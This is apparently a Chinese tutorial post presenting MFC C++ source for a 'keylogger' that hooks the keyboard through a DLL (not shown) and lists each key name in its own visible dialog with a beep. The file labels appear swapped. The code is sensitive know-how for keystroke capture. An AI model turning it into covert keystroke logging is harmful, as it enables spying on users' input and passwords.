鍵盤記錄程序
主程序:
就是基於對話框的框架,加個個OnHookKey函數,
- long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam) //處理自定義消息
- {
- char szKey[80]={0};
- GetKeyNameText(lParam, szKey, 80);
- CString strItem;
- strItem.Format("按鍵:%s\r\n", szKey);
- CString strEdit;
- GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);
- GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);
- ::MessageBeep(MB_OK);
- return 0;
- }
在初始化時,調用DLL中的:
- SetKeyHook(TRUE, 0, m_hWnd)
在析構時,調用DLL中的:
- SetKeyHook(FALSE);
.cpp代碼
- #include <afxwin.h>
- #define HM_KEY WM_USER+100
- //CMyApp
- class CMyApp:public CWinApp
- {
- public:
- BOOL InitInstance();
- };
-
- //CMyDialog
- class CMainDialog:public CDialog
- {
- public:
- CMainDialog(CWnd* pParentWnd = NULL);
-
- protected:
- virtual BOOL OnInitDialog( );
- afx_msg void OnCancel();
- afx_msg long OnHookKey(WPARAM wParam, LPARAM lParam); //處理自定義消息的聲明
-
- DECLARE_MESSAGE_MAP()
- };
.h代碼:
- #include "resource.h"
- #include "KeyHookApp.h"
- #include "KeyHook.h"
- #pragma comment(lib,"KeyHook.lib")
-
- CMyApp theApp;
-
- BOOL CMyApp::InitInstance()
- {
- CMainDialog dlg;
- m_pMainWnd = &dlg; //給m_pMainWnd 主窗口
- dlg.DoModal();
- return FALSE; //不進入消息循環
- }
-
-
- BEGIN_MESSAGE_MAP(CMainDialog, CDialog)
- ON_MESSAGE(HM_KEY, OnHookKey) //自定義消息
- END_MESSAGE_MAP()
-
- //CMainDialog
- CMainDialog::CMainDialog(CWnd* pParentWnd):CDialog(IDD_MAIN, pParentWnd)
- {
-
- }
- BOOL CMainDialog::OnInitDialog( )
- {
- CDialog::OnInitDialog();
- if (!SetKeyHook(TRUE, 0, m_hWnd))
- {
- MessageBox("安裝鉤子失敗");
- }
-
- return TRUE;
- }
- //處理關閉消息
- void CMainDialog::OnCancel()
- {
- OutputDebugString("oncancel");
- SetKeyHook(FALSE);
- CDialog::OnCancel();
- return;
- }
- long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam) //處理自定義消息
- {
- char szKey[80]={0};
- GetKeyNameText(lParam, szKey, 80);
- CString strItem;
- strItem.Format("按鍵:%s\r\n", szKey);
- CString strEdit;
- GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);
- GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);
- ::MessageBeep(MB_OK);
- return 0;
- }